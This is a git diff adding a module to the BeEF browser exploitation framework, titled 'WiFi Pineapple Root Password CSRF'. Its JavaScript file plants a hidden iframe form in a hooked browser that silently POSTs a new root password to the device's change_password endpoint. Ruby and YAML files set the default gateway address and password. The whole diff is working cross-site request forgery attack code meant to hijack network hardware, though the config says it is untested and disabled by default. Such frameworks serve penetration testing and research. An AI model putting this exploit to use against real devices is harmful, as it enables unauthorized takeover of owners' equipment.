diff --git a/modules/exploits/wifi_pineapple_csrf/command.js b/modules/exploits/wifi_pineapple_csrf/command.js
new file mode 100644
index 000000000..f1f59467a
--- /dev/null
+++ b/modules/exploits/wifi_pineapple_csrf/command.js
@@ -0,0 +1,26 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+ var gateway = '<%= @base %>';
+ var passwd = '<%= @password %>';
+ var timeout = 15;
+
+ var wifi_pineapple_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/components/system/configuration/functions.php?change_password", "POST", [
+ {'type':'hidden', 'name':'password', 'value':passwd} ,
+ {'type':'hidden', 'name':'repeat', 'value':passwd},
+ {'type':'hidden', 'name':'change_password', 'value':'Change Password'}
+ ]);
+
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
+
+ cleanup = function() {
+ document.body.removeChild(wifi_pineapple_iframe_<%= @command_id %>);
+ }
+ setTimeout("cleanup()", timeout*1000);
+
+});
+
diff --git a/modules/exploits/wifi_pineapple_csrf/config.yaml b/modules/exploits/wifi_pineapple_csrf/config.yaml
new file mode 100644
index 000000000..dd6b0fdd6
--- /dev/null
+++ b/modules/exploits/wifi_pineapple_csrf/config.yaml
@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+ module:
+ wifi_pineapple_csrf:
+ enable: false
+ category: "Exploits"
+ name: "WiFi Pineapple Root Password CSRF"
+ description: "Attempts to change the root password on a WiFi Pineapple Mk5.
This module has not been tested."
+ authors: ["n0x00"]
+ target:
+ unknown: ["ALL"]
diff --git a/modules/exploits/wifi_pineapple_csrf/module.rb b/modules/exploits/wifi_pineapple_csrf/module.rb
new file mode 100644
index 000000000..5130a0895
--- /dev/null
+++ b/modules/exploits/wifi_pineapple_csrf/module.rb
@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Wifi_pineapple_csrf < BeEF::Core::Command
+
+ def self.options
+ return [
+ {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://172.16.42.1:1417/'},
+ {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
+ ]
+ end
+
+ def post_execute
+ save({'result' => @datastore['result']})
+ end
+
+end